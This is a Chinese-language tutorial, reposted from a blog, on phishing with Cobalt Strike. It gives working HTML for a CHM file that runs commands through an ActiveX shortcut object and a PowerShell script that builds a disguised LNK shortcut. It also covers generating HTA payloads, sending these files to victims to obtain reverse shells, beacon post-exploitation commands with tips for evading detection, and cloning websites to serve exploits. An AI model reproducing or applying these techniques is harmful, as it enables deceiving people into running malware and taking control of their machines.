Cobalt Strike之CHM、LNK、HTA钓鱼
CHM釣魚
CHM介紹
CHM（Compiled Help Manual）即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式，利用HTML作源文，把幫助內(nèi)容以類似數(shù)據(jù)庫(kù)的形式編譯儲(chǔ)存。
利用CHM釣魚主要原因是因?yàn)樵撐臋n可以執(zhí)行cmd命令
?
這里制作CHM需要用到一個(gè)工具就是? EasyCHM
?
CHM制作過程：
創(chuàng)建一個(gè)文件夾（名字隨意），在文件夾里面再創(chuàng)建兩個(gè)文件夾（名字隨意）和一個(gè)index.html文件，在兩個(gè)文件夾內(nèi)部創(chuàng)建各創(chuàng)建一個(gè)index.html文件。
先將下列代碼復(fù)制到根文件夾中的index.html中。
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',calc.exe'><PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>打開我們的EasyCHM工具
后點(diǎn)擊新建
然后導(dǎo)入自己創(chuàng)建的文件夾，點(diǎn)擊確定后再點(diǎn)擊編譯，在彈出的對(duì)話框中點(diǎn)擊生成CHM按鈕
它會(huì)給你生產(chǎn)一個(gè)CHM文件，給別人發(fā)過去，一旦點(diǎn)擊就會(huì)給彈出計(jì)算機(jī)
生產(chǎn)釣魚文件
啟動(dòng)Cobalt Strike，點(diǎn)擊attacks——>web Drive by——>scripted web Delivery在彈出的對(duì)話框中將type類型設(shè)置為powershell然后單擊launch按鈕
再用代碼將上面創(chuàng)建的根文件夾中的index.html代碼中的calc.exe替換掉。
生產(chǎn)CHM發(fā)送給別人，點(diǎn)擊后獲得反彈的shell
LNK釣魚
lnk文件是用于指向其他文件的一種文件。這些文件通常稱為快捷方式文件，通常它以快捷方式放在硬盤上，以方便使用者快速的調(diào)用。
lnk釣魚主要將圖標(biāo)偽裝成正常圖標(biāo)，但是目標(biāo)會(huì)執(zhí)行shell命令。
?
先做個(gè)簡(jiǎn)單的powershell生產(chǎn)圖標(biāo)：
創(chuàng)建個(gè)txt文本寫入下面代碼然后改文件后綴名為.ps1。
右鍵文件powershell運(yùn)行后會(huì)彈出計(jì)算器
釣魚方法：
首先通過Cobalt Strike的attacks——>web Drive by——>scripted web Delivery
tpye類型為powershell，然后單機(jī)launch。生產(chǎn)代碼。
還記的上面做的那個(gè)簡(jiǎn)單的powershell么，后綴改回txt，將生成的代碼替換掉calc.exe
將下面的powershell代碼寫入.ps1文件，右鍵運(yùn)行powershell。
$file = Get-Content "test.txt" $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("test.lnk") $Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe" $Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" $Shortcut.Arguments = ' '+ $file $Shortcut.Save()生成test.lnk文件，而且圖標(biāo)改了（powershell執(zhí)行文件要和test.txt要在一個(gè)目錄下，這個(gè)圖標(biāo)所在位置就在%SystemRoot%\System32\Shell32.dll目錄下）
后將test.lnk發(fā)送給他人，獲得反彈shell。
HTA釣魚?
HTA是HTML Application的縮寫，直接將HTML保存成HTA的格式，是一個(gè)獨(dú)立的應(yīng)用軟件。
HTA雖然用HTML、JS和CSS編寫，卻比普通網(wǎng)頁(yè)權(quán)限大得多，它具有桌面程序的所有權(quán)限。
就是一個(gè)html應(yīng)用程序，雙擊就能運(yùn)行。
?
Cobalt Strike，attacks——>packages——>HTML application
?
選擇powershell然后單機(jī)generate，選擇保存路徑。
將生成的.hta文件發(fā)送給別人，點(diǎn)擊后獲得shell
后滲透階段
相信你已經(jīng)能拿到一個(gè)beacon的shell了。
下面是一些基本的使用命令，但是cs監(jiān)聽器對(duì)中文支持并不友好，會(huì)對(duì)中文產(chǎn)生亂碼。
?
help 查看beacon shell所有內(nèi)置命令幫助,如果想查看指定命令的用法,可以這樣,eg: help checkin
note 給當(dāng)前目錄機(jī)器起個(gè)名字, eg: note beacon-shell
cd 在目標(biāo)系統(tǒng)中切換目錄,注意在win系統(tǒng)中切換目錄要用雙反斜杠,或者直接用'/' eg: cd c:\\
mkdir 新建目錄, eg: mkdir d:\\beacon
rm 刪除文件或目錄, eg: rm d:\\beacon
upload 上傳文件到目標(biāo)系統(tǒng)中
download 從目標(biāo)系統(tǒng)下載指定文件,eg: download C:\\Users\\win7cn\\Desktop\\putty.exe
cancel 取消下載任務(wù),比如,一個(gè)文件如果特別大,下載可能會(huì)非常耗時(shí),假如中途你不想繼續(xù)下了,就可以用這個(gè)取消一下
shell 在目標(biāo)系統(tǒng)中執(zhí)行指定的cmd命令, eg: shell whoami
getuid 查看當(dāng)前beacon 會(huì)話在目標(biāo)系統(tǒng)中的用戶權(quán)限,可能需要bypassuac或者提權(quán)
pwd 查看當(dāng)前在目錄系統(tǒng)中的路徑
ls 列出當(dāng)前目錄下的所有文件和目錄
drives 列表出目標(biāo)系統(tǒng)的所有分區(qū)[win中叫盤符]
ps 查看目標(biāo)系統(tǒng)當(dāng)前的所有的進(jìn)程列表
kill 殺掉指定進(jìn)程, eg: kill 4653
sleep 10 指定被控端休眠時(shí)間,默認(rèn)60秒一次回傳,讓被控端每10秒來下載一次任務(wù),實(shí)際中頻率不宜過快,容易被發(fā)現(xiàn),80左右一次即可
jobs 列出所有的任務(wù)列表,有些任務(wù)執(zhí)行時(shí)間可能稍微較長(zhǎng),此時(shí)就可以從任務(wù)列表中看到其所對(duì)應(yīng)的具體任務(wù)id,針對(duì)性的清除
jobkill 如果發(fā)現(xiàn)任務(wù)不知是何原因長(zhǎng)時(shí)間沒有執(zhí)行或者異常,可嘗試用此命令直接結(jié)束該任務(wù), eg: jobkill 1345
clear 清除beacon內(nèi)部的任務(wù)隊(duì)列
checkin 強(qiáng)制讓被控端回連一次
exit 終止當(dāng)前beacon 會(huì)話
ctrl + k 清屏
有些可能會(huì)觸發(fā)敏感api導(dǎo)致防護(hù)報(bào)警,另外進(jìn)程注入,被控端可能感到非常明顯的卡頓,工具也有許多不完善的地方
?網(wǎng)站克隆
Cobalt Strike還能夠?qū)崿F(xiàn)網(wǎng)站克隆
cotalt strike能夠快速?gòu)?fù)制目標(biāo)網(wǎng)站前端頁(yè)面，并且復(fù)制相識(shí)度極高
cotalt strike同時(shí)還可以在復(fù)制的網(wǎng)站中插入惡意代碼，如果本地瀏覽器帶有漏洞的用戶，可以直接控制目標(biāo)機(jī)器。
點(diǎn)擊attacks——>Web Drive-by——>Clone site
- Clone URL：克隆目標(biāo)網(wǎng)站的URL（如果網(wǎng)站不是80端口的話域名后得跟上端口號(hào)。）
- 注意問題：URL需要添加http協(xié)議和端口（81）
- Local URL：本地克隆路徑
- Local Host：本地主機(jī)IP
- Local Port：本地端口
- Attack：克隆后目標(biāo)網(wǎng)站執(zhí)行腳本，如：flash漏洞
?
?
轉(zhuǎn)載于:https://www.cnblogs.com/-qing-/p/10900454.html
總結(jié)
以上是生活随笔為你收集整理的Cobalt Strike之CHM、LNK、HTA钓鱼的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 面试官问：ZooKeeper 有几种节点
- 下一篇： 浅谈微软认证Outlook Web Ac